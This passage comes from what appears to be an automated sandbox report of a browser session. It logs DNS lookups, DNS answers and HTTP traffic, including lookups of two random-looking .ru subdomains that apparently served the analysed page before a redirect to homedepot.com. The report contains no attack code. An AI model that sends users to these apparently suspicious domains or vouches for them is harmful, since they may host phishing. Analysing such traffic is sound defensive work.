Mar 19, 2025 10:46:43.638887882 CET	53	59350	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:44.143539906 CET	63508	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:44.143791914 CET	59657	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:44.150307894 CET	53	63508	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:44.150538921 CET	53	59657	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:45.901844978 CET	61277	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:45.902168989 CET	63747	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:45.954652071 CET	53	61277	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:45.957664967 CET	53	63747	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.082547903 CET	54364	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.082737923 CET	57444	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.083705902 CET	63890	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.084136963 CET	52495	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.084645033 CET	55792	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.084949017 CET	65490	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.090547085 CET	53	54364	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.090562105 CET	53	52495	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.090611935 CET	53	57444	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.091583014 CET	53	63890	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.091662884 CET	53	55792	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.093252897 CET	53	65490	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.100343943 CET	49220	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.100560904 CET	55305	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.101936102 CET	64285	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.102092028 CET	52214	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.102586985 CET	52127	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.102724075 CET	61600	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.108175993 CET	53	55305	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.108189106 CET	53	49220	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.109410048 CET	53	52214	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.109900951 CET	53	64285	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.109910965 CET	53	61600	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.110025883 CET	51327	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.110089064 CET	53	52127	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.110177994 CET	64064	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.112471104 CET	62140	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.112775087 CET	59685	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:46:46.116583109 CET	53	51327	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.116677999 CET	53	64064	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.119019032 CET	53	62140	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:46.119127989 CET	53	59685	1.1.1.1	192.168.2.4
Mar 19, 2025 10:46:51.833586931 CET	53	51653	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:09.408101082 CET	138	138	192.168.2.4	192.168.2.255
Mar 19, 2025 10:47:14.676990986 CET	53	56935	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:15.484585047 CET	53	53276	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:17.926207066 CET	53	50802	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:44.153588057 CET	61564	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:47:44.153758049 CET	50894	53	192.168.2.4	1.1.1.1
Mar 19, 2025 10:47:44.161019087 CET	53	61564	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:44.161098003 CET	53	50894	1.1.1.1	192.168.2.4
Mar 19, 2025 10:47:44.335762978 CET	53	49831	1.1.1.1	192.168.2.4
Mar 19, 2025 10:48:28.597126961 CET	53	51220	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 19, 2025 10:46:22.407068014 CET	192.168.2.4	1.1.1.1	c274	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 10:46:20.061232090 CET	192.168.2.4	1.1.1.1	0xaedd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:20.061551094 CET	192.168.2.4	1.1.1.1	0xea71	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:20.763622046 CET	192.168.2.4	1.1.1.1	0xc0bd	Standard query (0)	jx7d.qdjcpol.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:20.763988018 CET	192.168.2.4	1.1.1.1	0x1a3f	Standard query (0)	jx7d.qdjcpol.ru	65	IN (0x0001)	false
Mar 19, 2025 10:46:22.019957066 CET	192.168.2.4	1.1.1.1	0xef82	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.019957066 CET	192.168.2.4	1.1.1.1	0xed0b	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:22.020400047 CET	192.168.2.4	1.1.1.1	0xc813	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.020754099 CET	192.168.2.4	1.1.1.1	0xe0f8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:22.021179914 CET	192.168.2.4	1.1.1.1	0x2cdc	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.021442890 CET	192.168.2.4	1.1.1.1	0xe73a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:22.363806963 CET	192.168.2.4	1.1.1.1	0x6fe2	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.363950968 CET	192.168.2.4	1.1.1.1	0x26cd	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:22.588288069 CET	192.168.2.4	1.1.1.1	0x1d26	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.588444948 CET	192.168.2.4	1.1.1.1	0xf97d	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:42.123136044 CET	192.168.2.4	1.1.1.1	0xb3ce	Standard query (0)	vf70og.jnfemo.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:42.123343945 CET	192.168.2.4	1.1.1.1	0x4085	Standard query (0)	vf70og.jnfemo.ru	65	IN (0x0001)	false
Mar 19, 2025 10:46:43.141165018 CET	192.168.2.4	1.1.1.1	0x9e90	Standard query (0)	vf70og.jnfemo.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.144330978 CET	192.168.2.4	1.1.1.1	0x979b	Standard query (0)	vf70og.jnfemo.ru	65	IN (0x0001)	false
Mar 19, 2025 10:46:43.614725113 CET	192.168.2.4	1.1.1.1	0xdb18	Standard query (0)	jx7d.qdjcpol.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.615065098 CET	192.168.2.4	1.1.1.1	0x14f7	Standard query (0)	jx7d.qdjcpol.ru	65	IN (0x0001)	false
Mar 19, 2025 10:46:44.143539906 CET	192.168.2.4	1.1.1.1	0xf10	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:44.143791914 CET	192.168.2.4	1.1.1.1	0xd54f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:45.901844978 CET	192.168.2.4	1.1.1.1	0x3e31	Standard query (0)	www.homedepot.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:45.902168989 CET	192.168.2.4	1.1.1.1	0x2524	Standard query (0)	www.homedepot.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.082547903 CET	192.168.2.4	1.1.1.1	0xe88e	Standard query (0)	dam.thdstatic.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.082737923 CET	192.168.2.4	1.1.1.1	0x71b5	Standard query (0)	dam.thdstatic.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.083705902 CET	192.168.2.4	1.1.1.1	0xbba9	Standard query (0)	images.thdstatic.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.084136963 CET	192.168.2.4	1.1.1.1	0x88cb	Standard query (0)	images.thdstatic.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.084645033 CET	192.168.2.4	1.1.1.1	0x6247	Standard query (0)	cdn.revjet.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.084949017 CET	192.168.2.4	1.1.1.1	0xb08c	Standard query (0)	cdn.revjet.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.100343943 CET	192.168.2.4	1.1.1.1	0x267d	Standard query (0)	client.px-cloud.net	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.100560904 CET	192.168.2.4	1.1.1.1	0xe10e	Standard query (0)	client.px-cloud.net	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.101936102 CET	192.168.2.4	1.1.1.1	0x86b3	Standard query (0)	assets.thdstatic.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.102092028 CET	192.168.2.4	1.1.1.1	0x6375	Standard query (0)	assets.thdstatic.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.102586985 CET	192.168.2.4	1.1.1.1	0x8f93	Standard query (0)	live-chat-static.sprinklr.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.102724075 CET	192.168.2.4	1.1.1.1	0x2716	Standard query (0)	live-chat-static.sprinklr.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.110025883 CET	192.168.2.4	1.1.1.1	0x584	Standard query (0)	siteintercept.qualtrics.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110177994 CET	192.168.2.4	1.1.1.1	0x810a	Standard query (0)	siteintercept.qualtrics.com	65	IN (0x0001)	false
Mar 19, 2025 10:46:46.112471104 CET	192.168.2.4	1.1.1.1	0x5689	Standard query (0)	cdn.quantummetric.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.112775087 CET	192.168.2.4	1.1.1.1	0x6f06	Standard query (0)	cdn.quantummetric.com	65	IN (0x0001)	false
Mar 19, 2025 10:47:44.153588057 CET	192.168.2.4	1.1.1.1	0xc19	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:47:44.153758049 CET	192.168.2.4	1.1.1.1	0x222f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 10:46:20.069067001 CET	1.1.1.1	192.168.2.4	0xaedd	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:20.069789886 CET	1.1.1.1	192.168.2.4	0xea71	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 19, 2025 10:46:20.814378023 CET	1.1.1.1	192.168.2.4	0xc0bd	No error (0)	jx7d.qdjcpol.ru		104.21.78.6	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:20.814378023 CET	1.1.1.1	192.168.2.4	0xc0bd	No error (0)	jx7d.qdjcpol.ru		172.67.214.68	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:20.829822063 CET	1.1.1.1	192.168.2.4	0x1a3f	No error (0)	jx7d.qdjcpol.ru			65	IN (0x0001)	false
Mar 19, 2025 10:46:22.026631117 CET	1.1.1.1	192.168.2.4	0xef82	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.026631117 CET	1.1.1.1	192.168.2.4	0xef82	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.026631117 CET	1.1.1.1	192.168.2.4	0xef82	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.026631117 CET	1.1.1.1	192.168.2.4	0xef82	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.027034998 CET	1.1.1.1	192.168.2.4	0xc813	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.027034998 CET	1.1.1.1	192.168.2.4	0xc813	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.027512074 CET	1.1.1.1	192.168.2.4	0xe0f8	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Mar 19, 2025 10:46:22.027784109 CET	1.1.1.1	192.168.2.4	0x2cdc	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.027784109 CET	1.1.1.1	192.168.2.4	0x2cdc	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.028547049 CET	1.1.1.1	192.168.2.4	0xe73a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 19, 2025 10:46:22.371958971 CET	1.1.1.1	192.168.2.4	0x6fe2	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.371958971 CET	1.1.1.1	192.168.2.4	0x6fe2	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.371958971 CET	1.1.1.1	192.168.2.4	0x6fe2	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.371958971 CET	1.1.1.1	192.168.2.4	0x6fe2	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.371958971 CET	1.1.1.1	192.168.2.4	0x6fe2	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.407006025 CET	1.1.1.1	192.168.2.4	0x26cd	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 19, 2025 10:46:22.596072912 CET	1.1.1.1	192.168.2.4	0x1d26	No error (0)	developers.cloudflare.com		104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.596072912 CET	1.1.1.1	192.168.2.4	0x1d26	No error (0)	developers.cloudflare.com		104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.596072912 CET	1.1.1.1	192.168.2.4	0x1d26	No error (0)	developers.cloudflare.com		104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.596072912 CET	1.1.1.1	192.168.2.4	0x1d26	No error (0)	developers.cloudflare.com		104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.596072912 CET	1.1.1.1	192.168.2.4	0x1d26	No error (0)	developers.cloudflare.com		104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:22.596127987 CET	1.1.1.1	192.168.2.4	0xf97d	No error (0)	developers.cloudflare.com			65	IN (0x0001)	false
Mar 19, 2025 10:46:42.170234919 CET	1.1.1.1	192.168.2.4	0x4085	No error (0)	vf70og.jnfemo.ru			65	IN (0x0001)	false
Mar 19, 2025 10:46:42.224531889 CET	1.1.1.1	192.168.2.4	0xb3ce	No error (0)	vf70og.jnfemo.ru		104.21.70.67	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:42.224531889 CET	1.1.1.1	192.168.2.4	0xb3ce	No error (0)	vf70og.jnfemo.ru		172.67.220.176	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.207508087 CET	1.1.1.1	192.168.2.4	0x979b	No error (0)	vf70og.jnfemo.ru			65	IN (0x0001)	false
Mar 19, 2025 10:46:43.217308044 CET	1.1.1.1	192.168.2.4	0x9e90	No error (0)	vf70og.jnfemo.ru		172.67.220.176	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.217308044 CET	1.1.1.1	192.168.2.4	0x9e90	No error (0)	vf70og.jnfemo.ru		104.21.70.67	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.625648975 CET	1.1.1.1	192.168.2.4	0xdb18	No error (0)	jx7d.qdjcpol.ru		104.21.78.6	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.625648975 CET	1.1.1.1	192.168.2.4	0xdb18	No error (0)	jx7d.qdjcpol.ru		172.67.214.68	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:43.638887882 CET	1.1.1.1	192.168.2.4	0x14f7	No error (0)	jx7d.qdjcpol.ru			65	IN (0x0001)	false
Mar 19, 2025 10:46:44.150307894 CET	1.1.1.1	192.168.2.4	0xf10	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:45.954652071 CET	1.1.1.1	192.168.2.4	0x3e31	No error (0)	www.homedepot.com	www.homedepot.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:45.954652071 CET	1.1.1.1	192.168.2.4	0x3e31	No error (0)	www.homedepot.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:45.954652071 CET	1.1.1.1	192.168.2.4	0x3e31	No error (0)	e14801.x.akamaiedge.net		23.192.153.175	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:45.957664967 CET	1.1.1.1	192.168.2.4	0x2524	No error (0)	www.homedepot.com	www.homedepot.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:45.957664967 CET	1.1.1.1	192.168.2.4	0x2524	No error (0)	www.homedepot.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090547085 CET	1.1.1.1	192.168.2.4	0xe88e	No error (0)	dam.thdstatic.com	dam.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090547085 CET	1.1.1.1	192.168.2.4	0xe88e	No error (0)	dam.thdstatic.com.edgekey.net	e3203.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090547085 CET	1.1.1.1	192.168.2.4	0xe88e	No error (0)	e3203.x.akamaiedge.net		23.206.20.104	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090562105 CET	1.1.1.1	192.168.2.4	0x88cb	No error (0)	images.thdstatic.com	images.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090562105 CET	1.1.1.1	192.168.2.4	0x88cb	No error (0)	images.thdstatic.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090611935 CET	1.1.1.1	192.168.2.4	0x71b5	No error (0)	dam.thdstatic.com	dam.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.090611935 CET	1.1.1.1	192.168.2.4	0x71b5	No error (0)	dam.thdstatic.com.edgekey.net	e3203.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091583014 CET	1.1.1.1	192.168.2.4	0xbba9	No error (0)	images.thdstatic.com	images.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091583014 CET	1.1.1.1	192.168.2.4	0xbba9	No error (0)	images.thdstatic.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091583014 CET	1.1.1.1	192.168.2.4	0xbba9	No error (0)	e14801.x.akamaiedge.net		23.192.153.175	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091662884 CET	1.1.1.1	192.168.2.4	0x6247	No error (0)	cdn.revjet.com	t.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091662884 CET	1.1.1.1	192.168.2.4	0x6247	No error (0)	t.sni.global.fastly.net		151.101.195.52	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091662884 CET	1.1.1.1	192.168.2.4	0x6247	No error (0)	t.sni.global.fastly.net		151.101.131.52	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091662884 CET	1.1.1.1	192.168.2.4	0x6247	No error (0)	t.sni.global.fastly.net		151.101.67.52	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.091662884 CET	1.1.1.1	192.168.2.4	0x6247	No error (0)	t.sni.global.fastly.net		151.101.3.52	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.093252897 CET	1.1.1.1	192.168.2.4	0xb08c	No error (0)	cdn.revjet.com	t.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108175993 CET	1.1.1.1	192.168.2.4	0xe10e	No error (0)	client.px-cloud.net	perimeterx2.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108189106 CET	1.1.1.1	192.168.2.4	0x267d	No error (0)	client.px-cloud.net	perimeterx2.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108189106 CET	1.1.1.1	192.168.2.4	0x267d	No error (0)	perimeterx2.map.fastly.net		151.101.193.40	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108189106 CET	1.1.1.1	192.168.2.4	0x267d	No error (0)	perimeterx2.map.fastly.net		151.101.1.40	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108189106 CET	1.1.1.1	192.168.2.4	0x267d	No error (0)	perimeterx2.map.fastly.net		151.101.65.40	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.108189106 CET	1.1.1.1	192.168.2.4	0x267d	No error (0)	perimeterx2.map.fastly.net		151.101.129.40	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109410048 CET	1.1.1.1	192.168.2.4	0x6375	No error (0)	assets.thdstatic.com	assets.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109410048 CET	1.1.1.1	192.168.2.4	0x6375	No error (0)	assets.thdstatic.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109900951 CET	1.1.1.1	192.168.2.4	0x86b3	No error (0)	assets.thdstatic.com	assets.thdstatic.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109900951 CET	1.1.1.1	192.168.2.4	0x86b3	No error (0)	assets.thdstatic.com.edgekey.net	e14801.x.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109900951 CET	1.1.1.1	192.168.2.4	0x86b3	No error (0)	e14801.x.akamaiedge.net		23.192.153.175	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.109910965 CET	1.1.1.1	192.168.2.4	0x2716	No error (0)	live-chat-static.sprinklr.com	d3frhxtoji9i5h.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110089064 CET	1.1.1.1	192.168.2.4	0x8f93	No error (0)	live-chat-static.sprinklr.com	d3frhxtoji9i5h.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110089064 CET	1.1.1.1	192.168.2.4	0x8f93	No error (0)	d3frhxtoji9i5h.cloudfront.net		13.32.99.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110089064 CET	1.1.1.1	192.168.2.4	0x8f93	No error (0)	d3frhxtoji9i5h.cloudfront.net		13.32.99.26	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110089064 CET	1.1.1.1	192.168.2.4	0x8f93	No error (0)	d3frhxtoji9i5h.cloudfront.net		13.32.99.93	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.110089064 CET	1.1.1.1	192.168.2.4	0x8f93	No error (0)	d3frhxtoji9i5h.cloudfront.net		13.32.99.71	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116583109 CET	1.1.1.1	192.168.2.4	0x584	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116583109 CET	1.1.1.1	192.168.2.4	0x584	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116583109 CET	1.1.1.1	192.168.2.4	0x584	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.209.240	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116583109 CET	1.1.1.1	192.168.2.4	0x584	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.208.240	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116677999 CET	1.1.1.1	192.168.2.4	0x810a	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.116677999 CET	1.1.1.1	192.168.2.4	0x810a	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 19, 2025 10:46:46.119019032 CET	1.1.1.1	192.168.2.4	0x5689	No error (0)	cdn.quantummetric.com		104.18.10.213	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.119019032 CET	1.1.1.1	192.168.2.4	0x5689	No error (0)	cdn.quantummetric.com		104.18.11.213	A (IP address)	IN (0x0001)	false
Mar 19, 2025 10:46:46.119127989 CET	1.1.1.1	192.168.2.4	0x6f06	No error (0)	cdn.quantummetric.com			65	IN (0x0001)	false
Mar 19, 2025 10:47:44.161019087 CET	1.1.1.1	192.168.2.4	0xc19	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

jx7d.qdjcpol.ru

cdnjs.cloudflare.com

code.jquery.com

challenges.cloudflare.com

developers.cloudflare.com

vf70og.jnfemo.ru

www.homedepot.com

a.nel.cloudflare.com

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49742	172.217.16.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 10:46:25.609467030 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 19, 2025 10:46:25.646986008 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 19 Mar 2025 09:15:49 GMT Expires: Wed, 19 Mar 2025 10:05:49 GMT Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding Age: 1836
Mar 19, 2025 10:46:25.652810097 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 19, 2025 10:46:25.662297964 CET	223	IN	HTTP/1.1 304 Not Modified Date: Wed, 19 Mar 2025 09:23:06 GMT Expires: Wed, 19 Mar 2025 10:13:06 GMT Age: 1399 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49728	104.21.78.6	443	7712	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
